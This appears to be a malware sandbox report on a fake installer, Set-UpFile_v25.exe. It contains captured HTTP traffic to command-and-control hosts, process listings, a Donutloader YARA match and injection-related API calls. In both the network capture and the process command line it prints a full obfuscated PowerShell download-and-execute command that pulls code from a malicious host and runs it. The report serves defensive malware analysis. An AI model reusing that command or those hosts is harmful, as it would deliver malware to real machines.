2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: 93 07 aa 98 c6 ad 58 22 61 23 15 84 db 40 fe ff f6 1e 92 f0 63 18 bb a0 5e d3 92 dc 1b af 28 36 0a ec 49 4d 2f 1b a1 e0 f9 d1 38 0e 50 fc 54 0c f6 e7 cd 94 76 df 78 72 98 a0 12 90 de c5 94 9b cd d6 b1 74 ae b3 36 42 89 7a 59 3c 8f e6 60 10 ec a6 ac 0d e5 bd 50 88 a6 0f 6d 81 45 8f 43 66 17 1b 24 05 75 dd ce bf 57 ba e0 b7 2f 52 48 ed 75 2a 8d f0 9d 96 99 01 27 f0 f9 42 d0 c9 8b aa bf ef b0 95 04 91 4c c2 20 ba c9 ee 72 1e e7 8a 18 36 b3 15 e6 17 7b bd 9e 04 f0 4d 5a df d9 ec fe 2a a0 5c 53 89 d5 5c f3 ea 7a 1a 6a e7 b2 31 f0 18 56 e6 74 9b 41 b7 4e 23 e6 f7 f2 38 8d b6 42 d4 7d 98 93 92 e7 49 1d 8c 48 2f de 18 c2 f3 88 6f 3c a2 ae 10 ef 43 87 4a 71 f6 79 06 70 fc de fc 43 a0 fc 5f 64 60 6c ce 17 47 ed 7d d1 f5 c3 db a5 37 a5 a3 c2 7d a7 ae 01 33 11 99 e5 Data Ascii: X"a#@c^(6IM/8PTvxrt6BzY<`PmECf$uW/RHu'BL r6{MZ\S\zj1VtAN#8B}IH/o<CJqypC_d`lG}7}3
2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: af bb 4b 27 0e 18 46 85 ef 05 c7 0d 10 67 8c 8b f8 a2 83 ee 61 18 ab 23 cd f7 37 4c 12 8d c1 4a ca 45 d6 1f 3d 83 fe 63 a9 43 33 cf c3 57 a0 1c 64 f0 45 07 62 57 e2 76 f5 91 bb af 9a 6f 59 1b 3f 62 d8 74 04 79 00 41 c8 b9 e7 9c 5d 81 e2 ef ce aa a5 c1 5a 95 02 ce e9 01 21 b2 2f e7 28 7b 0c 05 c2 b3 5b 6a 25 32 2e ff 17 bf 3f ee dc f0 91 be f0 e5 93 f7 05 8b ce 81 2d 36 f3 82 e7 6b ee 0e 04 50 02 bc b6 2a f7 60 ab bb 2f d8 9f 8f aa 16 d5 2e 15 00 87 12 88 6c c8 75 5e da c4 6d a1 54 7e 9b 48 a9 2c c8 63 11 fd ea ee 44 c5 0b a7 54 f8 de de 04 9e f3 65 26 44 53 40 da 32 8c ec e7 86 37 53 e8 1b 91 77 38 27 21 de 04 78 e4 52 06 40 7e 27 88 df cd 7c b9 3c 7a 9e 20 fa 9c 61 a0 a7 2e 79 1f 52 5b 47 00 cd 00 0f 28 c4 c5 b2 da 06 58 4d 5e f0 29 88 90 fb b4 a8 84 27 Data Ascii: K'Fga#7LJE=cC3WdEbWvoY?btyA]Z!/({[j%2.?-6kP*`/.lu^mT~H,cDTe&DS@27Sw8'!xR@~'\|<z a.yR[G(XM^)'
2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: ad 1e 4c 2f 90 5a 5f 71 e5 49 7b 6b 5d 87 f9 09 a7 ae fa c3 68 28 ce 49 e4 b5 37 4f 28 bc d6 b4 c6 a3 d4 94 a2 22 d9 03 c2 f5 7c b9 22 38 45 3f a5 83 dc dc e8 10 47 e8 95 ec 3a 69 e5 f3 d2 1a 0d 2b 96 d4 9c 6b 2a f2 db 4d 62 0c 1a ea aa ba 95 50 df 19 79 4f cc 62 af 88 cb 04 1f aa b5 92 04 27 6e 34 5e da f1 16 98 73 dc 1b cd 76 84 be f6 c3 e7 fb eb 67 36 47 7e f4 e9 49 b1 e5 35 1a 69 33 2d fb b5 47 23 62 63 d2 18 3c a1 50 bc bc eb 97 fb 95 ab 65 2a 80 e6 aa 32 38 bd 04 99 55 87 db e5 a8 a8 e2 e7 43 db 57 d6 fc 46 db 36 2c 2b 5a d6 5e 6f ba c5 45 d6 ad ab 1d e4 49 54 51 19 68 dc 88 f7 38 24 92 66 c8 45 6d 03 f6 a6 79 9a a1 3f 47 47 b9 6d 40 0b 82 ff be a7 e2 30 c9 b4 82 13 f2 23 5a b4 f9 ee e0 aa 77 3a c9 21 af 96 2b c3 69 9d e2 49 3c 0c 88 17 88 2d 0e a2 Data Ascii: L/Z_qI{k]h(I7O("\|"8E?G:i+kMbPyOb'n4^svg6G~I5i3-G#bc<Pe28UCWF6,+Z^oEITQh8$fEmy?GGm@0#Zw:!+iI<-
2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: f6 b7 cc b3 be ed b6 fb 84 2e 00 4b c9 16 1d 05 6e 6c 4b e9 07 a1 47 d6 4d ba e4 5f a5 64 ef dc 14 16 9f 0a 2c de c2 6f ed 4f 1e 36 d9 9f 71 9d 58 5a af 2f 31 0e cd 0d dd 63 fa 2d 38 4b 05 69 39 b6 d4 e8 b9 e1 04 cf 56 a1 08 ee f2 d9 86 e1 c8 18 72 3d 6d 34 93 54 6d a7 ec 3e de ab 54 90 96 2f 34 4d 45 1b 4f f0 7c 2f f4 e2 ef 8d 74 57 d1 c8 da 23 a7 82 53 00 48 49 94 91 b8 3a f7 b2 00 df e7 93 e1 64 3e c1 77 44 a3 c9 c3 6b eb 80 40 52 fc fe 5c 0d 2e 8f 66 02 a4 eb 06 8a 0e 0f 2b 82 8c f9 0b eb f5 cc c3 36 ae 51 06 78 d6 e4 87 fc 8f 95 9d d0 cd e4 60 3e f4 30 3b f4 57 5c 2c 99 4e c2 2f e4 20 a1 06 ae 3e 35 3c 7e 93 d3 3d 31 c5 54 3e a8 d4 66 0d 47 83 69 99 ea 6f cc e2 96 80 89 16 5b c4 e0 5e c4 83 aa 3c 77 0a 65 6e f8 74 e5 74 f5 90 f2 8b 13 7b ca 1c 7b a6 Data Ascii: .KnlKGM_d,oO6qXZ/1c-8Ki9Vr=m4Tm>T/4MEO\|/tW#SHI:d>wDk@R\.f+6Qx`>0;W\,N/ >5<~=1T>fGio[^<wentt{{
2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: e8 d2 96 59 67 2f 7f b4 79 92 65 97 a7 58 b2 dc ac f3 b8 ef 6e 95 5e c9 6c 67 df 3f b6 77 4b be d6 fe fb e2 4e e9 81 92 c5 89 13 7b 49 dc 9e 96 7f aa b8 7f 86 f6 91 36 16 53 5a f0 0b 2f e4 40 77 0a df 00 0d 86 05 f9 f4 ab 36 af 09 81 14 26 58 f8 32 f6 fb 30 c8 c2 c0 eb 47 33 d4 09 26 80 94 05 61 50 28 11 b0 26 02 65 bf ea 57 fa 75 06 8d 94 52 f0 d7 96 e1 7b 6b 1c e0 bf 78 49 e4 c8 41 52 e6 e6 a5 be b4 0f aa df 77 0b 1a 60 43 60 f8 71 a3 cd 52 57 57 e5 9f f9 2b 42 2f 83 d9 3a d9 86 ef 23 59 1e 1e 1b 2e cf 1e 42 94 74 77 c6 61 30 63 e6 b1 03 08 f2 e3 9b 45 b7 9b 23 22 c3 eb 39 42 cd b7 0f 8b aa 11 91 25 b6 ef f8 e2 df 17 dd 88 ad ff c2 2b 52 50 e7 2e 58 0a ba 53 02 fc 71 f0 61 1c f1 ed 1e 22 1f ea cf 64 5a 16 bf f9 68 95 37 0f e3 e4 9b b1 34 3e 70 f9 07 3b Data Ascii: Yg/yeXn^lg?wKN{I6SZ/@w6&X20G3&aP(&eWuR{kxIARw`C`qRWW+B/:#Y.Btwa0cE#"9B%+RP.XSqa"dZh74>p;
2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: d6 d2 10 e9 39 2d 19 03 a7 68 ef c1 79 5b b2 8d d0 f4 e2 79 f7 f5 cb 01 2d b8 89 a1 69 56 b3 6b c0 fc ba 16 24 55 31 8f b6 fe dd a2 3f 95 b2 0f 84 49 b7 86 96 3c eb 72 76 79 59 a1 ff 62 b1 52 2f df 7a ee 45 c5 6a 93 50 a9 4f f1 56 99 1a b5 65 f0 51 40 d1 52 9b 52 54 4a 68 4b 38 67 a6 d8 b5 f3 d7 9c 6c ed 93 9a 2e 64 86 77 f9 ff 5e 6a 29 c9 b9 f5 99 d4 70 d0 01 4a 0c 3c e6 be 03 3c d4 74 e7 03 57 07 6a 9b d3 97 5a d6 f3 e3 c6 ce 19 4d b6 1c 72 0d d0 e8 ac 38 a4 12 a4 37 4f ea ae 6e 9b 78 58 65 06 42 41 c0 e0 2e bf cf ac 41 e8 3c 57 31 c2 17 be 06 6e c0 ff 96 6d 19 71 f2 b5 a7 95 36 f4 e0 5f 65 87 bc da cb 6c d8 95 8b 33 2c 93 25 0f eb c7 b4 a1 75 8f c5 7f e6 d5 b0 e0 b7 ac 9c b9 a2 86 00 de 8a 07 40 bc 2d 0e 9d eb 83 0b 15 84 78 0e 6f 65 9d f3 43 aa 19 ed Data Ascii: 9-hy[y-iVk$U1?I<rvyYbR/zEjPOVeQ@RRTJhK8gl.dw^j)pJ<<tWjZMr87OnxXeBA.A<W1nmq6_el3,%u@-xoeC
2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: 81 4e 5d 2b 4c c4 c2 fc 87 e2 c0 ac b6 c6 b7 84 3f 2c d8 f2 90 15 c9 02 d7 4f 3e 2c b5 74 84 5f 2b 57 25 0f 65 44 29 b5 8a 79 b4 6d 23 a2 d1 9c e6 62 4d 25 67 bb 39 ef e3 07 6b c8 72 cc d7 2a 56 c6 4f 1a d6 f7 1f 48 6a 7c b5 3b 6f 27 7a 3a cc 19 17 de ae f9 07 da 25 9a 7d dc f9 71 86 20 75 7b d2 23 f7 3f 98 2b a9 a9 4a 32 7f 56 2f 48 26 89 d1 1b d6 9b 83 f2 e2 d0 e6 18 db 5b 46 7b fa cd db 6b 36 c2 01 0a b3 6b dd 6d 86 0a d3 bb 68 86 f2 ba 63 44 53 6c 44 31 5e 4c f8 85 3c 2c c8 6d 81 da 35 f3 ac 20 a5 ae b0 e4 15 e9 27 4e 3a ef d4 d9 db 08 b5 7f 9c ef 2c ec 5a bd d5 4f 14 c2 fa c7 a5 62 3d 00 25 85 e9 10 51 17 a7 15 8f a5 c8 a2 5b 5b 9d 37 b8 20 a0 f4 cd 7c f5 1e f4 bb 47 90 59 6d c6 6e de 89 bb ce 26 fb bb b3 62 8d d5 25 b7 e9 61 a7 2e 17 f3 50 cb 03 06 Data Ascii: N]+L?,O>,t_+W%eD)ym#bM%g9kr*VOHj\|;o'z:%}q u{#?+J2V/H&[F{k6kmhcDSlD1^L<,m5 'N:,ZOb=%Q[[7 \|GYmn&b%a.P
2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: dc 16 db 21 f3 5b 5b 3e 1c cd 90 4a b8 1f c9 51 4c af c0 5c 85 83 a2 cc 34 17 a3 4d 88 fa 73 9a 3d 6b 5e 68 61 a9 e4 48 45 41 94 a2 1e 5d 67 7c 31 65 da 93 99 bc f8 70 0b f7 ea 06 f8 9b 82 f5 28 15 12 65 d7 f0 de 10 e3 35 32 ff 3c 7e c9 ae c4 c3 d1 81 ba 7d 25 b1 ed 39 04 4f be 42 4d 69 23 14 a9 3f f9 c6 8b d1 0e 1d 83 f7 ea cc 76 5d e3 25 99 72 0d e5 df 9c d6 bd 52 28 9d b3 16 fb cd 95 8d 09 f1 5b b0 8b 76 1e 6c 5a e3 8a 6d a2 24 ad d4 ec a5 d7 4a 47 70 78 41 5b d2 9c 93 78 a6 6c 77 a5 b4 8a c0 96 6a c5 55 a8 e7 94 a8 c3 71 8f 95 63 07 e1 9d 2a a4 36 3d 72 bc 86 71 36 ba f5 e5 af 38 1f a7 43 b0 00 ee 4d 2e 0a e0 33 6d 8a a3 b7 4e 47 f0 75 18 c5 c1 53 4f b2 0c bb d0 c3 03 ba 27 a9 4d 50 d3 43 51 a7 6f 7e f1 8d 8e 44 f9 82 4e f2 8e 35 f5 a5 60 3c 31 b8 96 Data Ascii: ![[>JQL\4Ms=k^haHEA]g\|1ep(e52<~}%9OBMi#?v]%rR([vlZm$JGpxA[xlwjUqc*6=rq68CM.3mNGuSO'MPCQo~DN5`<1
2025-01-07 13:37:27 UTC	1135	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 13:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hat95bffjk3nan1v96ij9nlu6p; expires=Sat, 03 May 2025 07:24:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Oh%2FEXAwS%2BEAQE27K4o1ka7n0I1NkWoEkwseV5yxO0P%2FeeawqPUl2PQZoLfByzWc%2Bl1Maovy5hGnq8Ej8jU6ZPzckFcTYvuJwy6RBYEAFwCe6dLn7mLkWRRHFnE%2F4yGrV%2F0oG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe457aa2de90f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1526&min_rtt=1511&rtt_var=597&sent=205&recv=604&lost=0&retrans=0&sent_bytes=2839&recv_bytes=589055&delivery_rate=1788120&cwnd=221&unsent_bytes=0&cid=d9095516ae01d5da&ts=1617&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49757	104.21.25.52	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:28 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: beattalkerz.cyou
2025-01-07 13:37:28 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 26 68 77 69 64 3d 43 37 37 31 46 30 30 33 35 30 46 44 30 31 37 42 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--ZINA&j=637b55279021aab33278188cfa638397&hwid=C771F00350FD017B33642DA608956FF1
2025-01-07 13:37:28 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 13:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=121s4kduq5j3p347krdgbl71fg; expires=Sat, 03 May 2025 07:24:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0eY%2Bbbzep%2BXcWgK9%2FX44fcKVSWfQ4DQPhAUu9p6sOxC3ktkiCn6MyiCtLqMO9glVmcl7jE09vMGi9wx5iDnkpiTSGM4Bqq30GGhRdPNh2%2FW2MozggA9UjVyVpf35peU%2F8ES%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe457b77ae15e61-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1687&rtt_var=661&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1014&delivery_rate=1622222&cwnd=209&unsent_bytes=0&cid=889cbd62e144d111&ts=501&x=0"
2025-01-07 13:37:28 UTC	218	IN	Data Raw: 64 34 0d 0a 69 2b 4f 32 66 65 56 56 58 78 77 4d 2f 7a 56 62 51 57 59 47 37 6c 58 54 49 78 78 58 31 43 51 63 42 67 2f 48 50 4e 6d 78 47 58 62 51 6d 4a 51 49 78 32 39 39 64 48 69 4c 52 53 68 37 4f 69 6d 79 65 72 42 47 65 79 4c 36 56 33 52 70 66 35 73 54 34 59 51 75 51 72 6e 56 68 45 6e 52 59 77 4d 7a 66 4a 63 62 4c 7a 6b 53 4a 4d 4a 33 74 56 63 2b 62 65 59 49 50 6d 4d 74 2f 51 32 6b 6e 57 4a 55 2f 73 47 4d 58 34 30 68 4b 32 78 2f 78 57 6c 30 48 55 6c 74 67 6a 79 6a 56 57 6b 36 76 56 64 70 62 79 47 30 56 4c 62 42 52 56 6e 69 6a 63 49 69 68 6a 6b 76 51 33 2b 58 56 48 55 31 48 6e 4c 4d 65 66 46 46 61 48 58 75 46 44 41 6b 61 75 55 47 36 63 78 45 0d 0a Data Ascii: d4i+O2feVVXxwM/zVbQWYG7lXTIxxX1CQcBg/HPNmxGXbQmJQIx299dHiLRSh7OimyerBGeyL6V3Rpf5sT4YQuQrnVhEnRYwMzfJcbLzkSJMJ3tVc+beYIPmMt/Q2knWJU/sGMX40hK2x/xWl0HUltgjyjVWk6vVdpbyG0VLbBRVnijcIihjkvQ3+XVHU1HnLMefFFaHXuFDAkauUG6cxE
2025-01-07 13:37:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49758	185.161.251.21	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:29 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2025-01-07 13:37:29 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Tue, 07 Jan 2025 13:37:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2025-01-07 13:37:29 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Target ID:	0
Start time:	08:36:59
Start date:	07/01/2025
Path:	C:\Users\user\Desktop\Set-UpFile_v25.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Set-UpFile_v25.exe"
Imagebase:	0x400000
File size:	75'060'322 bytes
MD5 hash:	2F33775C502E7B2D60B9BFE944B46863
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:37:29
Start date:	07/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Imagebase:	0xfa0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:37:29
Start date:	07/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	31.6%
Total number of Nodes:	117
Total number of Limit Nodes:	11

Executed Functions

Function 029D2D35 Relevance: 12.7, APIs: 8, Instructions: 730memorynativethreadCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 029D2DCE
NtMapViewOfSection.NTDLL(?,00000000), ref: 029D2E76
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 029D31EA
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 029D329F
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 029D32BC
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 029D335F
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 029D3392
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 029D3503

Memory Dump Source

Source File: 00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_Set-UpFile_v25.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$CreateView$AllocThread
String ID:
API String ID: 1248616170-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: c0fa53418bd3ae435cdb7dc361bf85a55e8315b7a3c22874ea57dbe990de311a
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: 6942AB71608341AFDB24CF28C884B6BBBE9EF88705F44896DF9899B241D730E944DF56

Function 02980A85 Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,029805CB,?,00000001,?,81EC8B55,000000FF), ref: 02980AC3
Thread32First.KERNEL32(00000000,0000001C), ref: 02980AEF
Wow64SuspendThread.KERNEL32(00000000), ref: 02980B42
CloseHandle.KERNEL32(00000000), ref: 02980B6C

Memory Dump Source

Source File: 00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_Set-UpFile_v25.jbxd

Yara matches

Similarity

API ID: CloseCreateFirstHandleSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 1849706056-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: f8ebec751fe0c48026dcd68206b0b4e296fd86f8ad148cdedab083881d618d5d
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: F0410C71A00108AFDB18DF98C890FADB7B6EF88304F14816CE6159B7A4DB34EE45CB54

Function 02980375 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 02980618
TerminateProcess.KERNELBASE(000000FF,00000000), ref: 0298090C

Strings

<54, xrefs: 029803E1

Memory Dump Source

Source File: 00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_Set-UpFile_v25.jbxd

Yara matches

Similarity

API ID: CreateProcessTerminateThread
String ID: <54
API String ID: 1197810419-2608504192
Opcode ID: 6cd1d1d1636f1908863831fc612a57462820193ffb17512ecce75b997a9b2fcd
Instruction ID: 012e463125cc074469724305fc3152b43fc98732484d7264d9591b33d9da1b52
Opcode Fuzzy Hash: 6cd1d1d1636f1908863831fc612a57462820193ffb17512ecce75b997a9b2fcd
Instruction Fuzzy Hash: 7012CFB4E00219DFDB14DF98C990BADBBB2FF88304F2482A9D515AB385C735AA45CF54

Function 02980935 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 02980A01

Strings

,, xrefs: 02980A4D

Memory Dump Source

Source File: 00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_Set-UpFile_v25.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: c07eeefa49101a5d74a5b4a1cef08956efb0d4550e32826d324ac6cd1f9e45a7
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: DC41E274A00209EFDB14DF98C994BAEBBB1FF88304F248598D515AB381C771AE85CF94

Function 029D39B3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,?,?), ref: 029D3A45

Strings

.dll, xrefs: 029D39EA

Memory Dump Source

Source File: 00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_Set-UpFile_v25.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: .dll
API String ID: 1029625771-2738580789
Opcode ID: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction ID: bb7f3a2f184a43676be774521707b25255cacda861bd582b4086b84788b70486
Opcode Fuzzy Hash: f6f06f52cd4a024ca790678b75224790e8b38e6a55f670a1ffdfea5ea75d1fe1
Instruction Fuzzy Hash: 03210332700285DFEB21DFADD844B6ABBA8AF01725F0881ADDC458BA41D730E845DF85

Function 029D2605 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 029D267F
VirtualFree.KERNELBASE(00000000,00000000,0000C000), ref: 029D29C3

Memory Dump Source

Source File: 00000000.00000002.1964396889.0000000002980000.00000040.00001000.00020000.00000000.sdmp, Offset: 02980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2980000_Set-UpFile_v25.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction ID: 2874facc72592c79434197e24d24c34c402819ce4ac61f9768d5b03ed20d119e
Opcode Fuzzy Hash: 913584bddb567b179a3f9b4e0e6654d789e61ea3d5744fe4b2293047c08ef92d
Instruction Fuzzy Hash: 7BB1E131A00B02ABDB219FA0CD80BB7B7ADFF49314F108929ED9996152D731E551EFA1

Non-executed Functions

Function 0299FDC2 Relevance: 77.4, Strings: 61, Instructions: 1164COMMON

Download Yara Rule

Strings

9, xrefs: 029A0E46
}, xrefs: 029A0211
B, xrefs: 029A0331
m, xrefs: 029A02C1
#, xrefs: 029A0E4E
^, xrefs: 029A0339
., xrefs: 029A0321
